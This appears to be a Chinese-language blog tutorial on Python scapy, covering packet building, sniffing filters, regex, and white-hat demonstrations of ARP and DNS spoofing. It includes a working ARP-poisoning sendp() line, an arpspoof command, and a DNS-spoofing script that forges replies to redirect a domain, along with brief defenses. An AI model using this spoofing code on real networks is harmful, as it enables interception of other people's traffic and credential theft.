Python-scapy(白帽)[ARP无法欺骗手机吗][DNS欺骗不了https吗]
一.scapy基础
1.用法
1.1 导入
from scapy.all import *
1.2 分层
内网:p = Ether()/ARP()
外网:p = IP()/UDP()/DNS()
区别:内网Ether(); 外网IP(); 开头
2.函数
2.1 ls
格式:ls()
解释:查看指定内容发送网络包的详细配置信息
- 格式:
p.summary()
解释:让用户直观而简单的查看到数据包描述 - 格式:
p.show()
解释:让用户直观而丰富的查看到数据包描述
2.2 wrpcap
格式:wrpcap('x.cap',p)
解释:将p变量下的内容写入cap文件中
- 格式:
p=rdpcap('x.cap')
解释:把cap文件赋值给变量p方便查看
2.3 haslayer
格式:a.haslayer(DNS)
解释:用来判断包里是否包含指定协议
a.getlayer(DNS).qr #获取某协议里面的某数值
2.4 sprintf
格式:b = a.sprintf('%Raw.load%')
解释:用来筛选某一层某一参数取值,示例为可以提取http
3.发送与接受数据包
3.1 send
格式:send(p)
解释:用于发送IP地址为目的的包,只能发送
- 格式:
sendp(p)
解释:用于发送mac地址为目的的包,只能发送
3.2 sr
格式:a,b=sr(p)
解释:返回两个列表需要两个变量承接,第一个列表为收到应答的数据包,第二个列表为没有收到应答的数据包,用于发送IP地址为目的的包
- 格式:
a=srl()
解释:只返回一个应答数据列表,用于发送IP地址为目的的包 - 格式:
a=srp()
解释:用于发送MAC地址为目的的包
4.抓包函数
4.1函数
格式:sniff(filter=‘过滤机制’,iface='网卡名字',prn=来处理的函数,count=n)
解释:抓取经过网卡的数据包
4.2过滤机制(伯克利过滤)
举例:
src host 192.168.0.3
dst net 192.168.0.0/24
dst port 8080
icmp and src port 8080
port 80 #http协议的连接
port 53 #dns协议的连接
解释:多个语句用and
or
not
连接,没有指定src
或者dst
默认有一方即可,参数四,用来限制接受数据包的数量
二.scapy实战
1.ARP欺骗
1.1 ARP包结构
①Ether
dst : DestMACField = 'ff:ff:ff:ff:ff:ff' (None)
src : SourceMACField = '04:33:c2:08:28:70' (None)
type : XShortEnumField = 36864 (36864)
解释:一般只填写dst
即可
②ARP
内容 | 解释 |
---|---|
hwtype | 硬件类型(Hardware type) |
ptype | 协议类型(Protocol type) |
hwlen | 硬件地址长度(Hardware address length) |
plen | 协议长度(Protocol length) |
op | 操作类型(Operation type) |
hwsrc | 硬件mac地址 |
psrc | 协议源ip地址 |
hwdst | 硬件目的mac地址 |
pdst | 协议目的ip地址 |
解释:前4条默认不用添加,第5条op
1为ARP请求;2为ARP响应
1.2 原理
原理:就是利用协议缺陷,若路由器或者交换机方面ip对应mac地址不是固定的就很容易施展ARP欺骗
攻击:正常的ARP包内容如上,只需要把源ip地址(也就是你的网关),对应的真实mac地址改为攻击者的mac地址,被攻击者的所有流量都将经过攻击者,攻击者就能从真窃听,获得敏感信息
1.3 代码
from scapy.all import *
sendp(Ether(dst='58:93:97:**:**:**')/ARP(op=2,hwsrc='1c:55:65:2b:20
x:x6',psrc='192.168.0.1',hwdst='58:93:97:**:**:**',pdst='192.168.0.9'),loop=1)
1.4 实战
arpspoof -i eth0 -t 192.168.0.5 192.168.0.1
解释:-i + 联网源
-t + target 网关
1.5 ARP无法欺骗手机吗?
答案:能欺骗
原因:可能你使用kali linux通过win10连接到路由器,然后你想给手机发送ARP包需要先经过win10但是win10没有开启流量转发功能,导致ARP无法转到手机上,对手机欺骗最好把转发打开,欺骗次数也要降低,否则失败率极高
1.6 ARP欺骗的解决
解释:通过路由器把ip与mac地址绑定,这样网关的ip就不会是动态变化的了
1.7 问题
问题:实测在arp欺骗流量转发的时候存在丢包问题,也就是没有全部抓取到被欺骗者的数据包,比如post包
2.DNS欺骗
2.1 DNS包结构
①IP
version : BitField (4 bits) = 4 (4)
ihl : BitField (4 bits) = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag 0 ()>)
frag : BitField (13 bits) = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 0 (0)
chksum : XShortField = None (None)
src : SourceIPField = '127.0.0.1' (None)
dst : DestIPField = '127.0.0.1' (None)
options : PacketListField = [] ([])
解释:一般填写src
dst
②UDP
sport : ShortEnumField = 53 (53)
dport : ShortEnumField = 53 (53)
len : ShortField = None (None)
chksum : XShortField = None (None)
解释:一般填写sport
dport
③DNS
主线 | 主线 |
---|---|
id | dns很重要的标识 |
flag | ①qr(0表请求1表回复)②opcode③aa④tc⑤rd⑥ra⑦rcode |
qdcount | 请求数目(questions) |
ancount | 回答数目(answer RRs) |
nscount | 权威名称服务器个数(Authority RRs)[Number of authoritative name servers] |
arcount | 附加个数(Additional RRs)[Number of additional records] |
qd | 关键信息(询问-请求包应答包里都有) |
an | 关键信息(应答-请求包无应答包有) |
length : ShortField (Cond) = None (None)
id : ShortField = 4923 (0)
qr : BitField (1 bit) = 1 (0)
opcode : BitEnumField (4 bits) = 0 (0)
aa : BitField (1 bit) = 0 (0)
tc : BitField (1 bit) = 0 (0)
rd : BitField (1 bit) = 1 (1)
ra : BitField (1 bit) = 1 (0)
z : BitField (1 bit) = 0 (0)
ad : BitField (1 bit) = 0 (0)
cd : BitField (1 bit) = 0 (0)
rcode : BitEnumField (4 bits) = 0 (0)
qdcount : DNSRRCountField = 1 (None)
ancount : DNSRRCountField = 2 (None)
nscount : DNSRRCountField = 0 (None)
arcount : DNSRRCountField = 0 (None)
qd : DNSQRField = <DNSQR qname='www.52pojie.cn.' qtype=A qclass=IN |> (None)
an : DNSRRField = <DNSRR rrname='www.52pojie.cn.' type=CNAME rclass=IN ttl=1 rdlen=None rdata='db1caad761e1c4e78a0afe7bdbd774bb.qaxcloudwaf.com.' |<DNSRR rrname='db1caad761e1c4e78a0afe7bdbd774bb.qaxcloudwaf.com.' type=A rclass=IN ttl=1 rdlen=None rdata=123.6.81.72 |>> (None)
ns : DNSRRField = None (None)
ar : DNSRRField = None (None)
解释:一般只需要填写id
qr
qd
an
2.2 原理
解释:开启抓包,对目标网络的包不停的筛选其DNS请求包,并对其拦截阻止其发向网关,之后对其篡改发送给目标,完成欺骗
2.3 代码
from scapy.all import *
import re
def dnsgo(s):dns_list = ['jjc.kl.com']if s.haslayer(DNS) and s.getlayer(DNS).qr == 0:ip = s.getlayer(IP)udp = s.getlayer(UDP)dns = s.getlayer(DNS)dns_text=dns.qd.qname.decode()[:-1]if dns_text in dns_list:a = IP(src=ip.dst,dst=ip.src)a/=UDP(sport=udp.dport,dport=udp.sport)a/=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.1.1'))send(a)print('ok')sniff(filter='udp dst port 53',prn=dnsgo)
解释:这里的代码就使用了前面函数里面的获取数据包的内容,注意导向的网站最好是非http加密的
注意:本文的dns欺骗失败率很高,因为scapy它不会拦截包,等构造好的包发出去时,可能路由告诉用户dns了,升级版查看此
2.4 DNS欺骗的解决
解释:个人访问带https的网站,站长申请上https
3.流量筛选
3.1 正则表达式
符号 | 作用 |
---|---|
* | 匹配前面字符0个或者多个 |
+ | 匹配前面字符1个或者多个 |
? | 匹配前面字符0个或一个 |
. | 匹配除了换行符外的任意一个字符 |
^ | 匹配行首 |
$ | 匹配行尾 |
[] |
只匹配一个字符,如[0-9]匹配一个数字
|
[^] | 表示不匹配什么 |
{n} | 匹配前面字符确定的n次 |
{n,} | 匹配前面字符至少n次 |
{n,m} | 匹配前面字符至少n次最多m次 |
\ | 转义字符 |
符号 | 作用
-------- | -----
(?:a|b) |重点:匹配组合 举例:nizh(?:a|b)
nizha
匹配nizha
(?=a) | 重点:匹配前面的内容 举例:nizh(?=a|b)
nizha
匹配nizh
(?!a) | 重点:匹配前面的内容 举例:nizh(?!a|b)
nizhc
匹配nizh
(?<=a) | 重点:反向匹配 举例:(?<=a|b)nizh
anizh
匹配nizh
(?<!a)| 重点:反向匹配 举例:(?<!a|b)nizh
cnizh
匹配nizh
符号 | 作用 |
---|---|
\d | 匹配0-9的数字 |
\w | 匹配英文数字下划线的任意组合 |
\D | 不匹配0-9的数字 |
\W | 不匹配英文数字下划线的任意组合 |
例题:
- 匹配只能输入汉字,英文,数字,下划线
^[\w\u4e00-\u9fa5]+$
学习:可以在中括号‘或’条件直接书写 - 匹配长度6-12位只能包含英文数字
^[a-zA-Z0-9]{6,12}$
3.2 re模块
re.search(正则,内容)
扫描整个字符串并返回第一个成功的匹配re.findall(正则,内容)
在字符串中找到正则表达式所匹配的所有子串a=re.compile(正则表达式)
另search
和findall
使用,格式a.search(内容)
re.search().group() #提取出来内容
Python-scapy(白帽)[ARP无法欺骗手机吗][DNS欺骗不了https吗]相关推荐
- python+scapy实现ARP欺骗
python+scapy实现ARP欺骗 需要下载的库 ARP欺骗原理 源代码: 运行结果 需要下载的库 可以直接通过pip下载 pip install scapy ARP欺骗原理 设网关的IP为10. ...
- python scapy实现ARP欺骗与DNS欺骗
(仅限python2.7.15) 关于ARP ARP协议(地址解析协议),是一个能够将IP地址转换为MAC地址来让设备间通讯的协议,由于设备间进行网络通讯时,需要将网络层IP数据包包头中的IP地址信息 ...
- ARP网络欺骗——手机/平板/电脑欺骗测试
ARP欺骗 ARP欺骗只适用于内网(局域网) 此处暂时不讲原理,只说使用方法. 环境 kali系统(环境全有了) arpspoof工具 wireshark工具 ubuntu系统 先安装arpspoof ...
- Python 实现ARP与DNS欺骗
利用Scapy进行ARP缓存投毒 from scapy.all import * import os import sys import threading import signaldef rest ...
- DNS欺骗原理及工作工程分析
DNS欺骗 DNS欺骗是这样一种中间人攻击形式,它是攻击者冒充域名服务器的一种欺骗行为,它主要用于向主机提供错误DNS信息,当用户尝试浏览网页,例如IP地址为XXX.XX.XX.XX ,网址为www. ...
- Kali Linux渗透测试小实践——DNS欺骗
目录 一.DNS欺骗 1.介绍 2.原理 二.环境和工具 1.kali Linux和靶机(这里选择windows 7) 2.ettercap 三.攻击过程 1.首先确认一下Kali和靶机的IP地址以及 ...
- 从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现
邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址. 其中邻居子系统相当于地址解析协议(IPv4的ARP协议, ...
- arp协议分析python编程实现arp欺骗抓图片
arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...
- 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第四章 使用SCAPY掌控网络(2)Scapy实现ARP缓存投毒
黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第四章 使用SCAPY掌控网络(2)Scapy实现ARP缓存投毒 文章目录 黑帽python第二版(Bl ...
最新文章
- 从“小”培养AI安全意识:OpenAI开源具有安全约束的RL训练工具
- python机器学习入门(Day11:ANN)
- linux 内核调试方法
- 32和64位系统各内置类型所占字节大小(int char long double 指针等)
- go 数据类型和操作符
- li或dd 浮动后增加图片时高度多出3-5px的问题
- 0622 - 如何坚守自己的价值观?
- java性能最好的mvc框架_详解Spring MVC的异步模式(高性能的关键)
- java split 实现_PL/SQL实现JAVA中的split()方法的例子
- eclipse安装(中文)语言包插件
- 生成树技术(spanning tree)技术
- 结构体所占字节数的计算
- iOS 判断系统版本
- 福昕阅读器自定义快捷键
- 进程的概念与基本介绍
- 【不想读paper的时候看看】阅读文献?
- Android手机修改hosts文件
- linux 内核 面试,LINUX内核经典面试题
- 【实用技巧】MAC苹果电脑怎么远程?
- 因特服务器协议,Internet邮件服务协议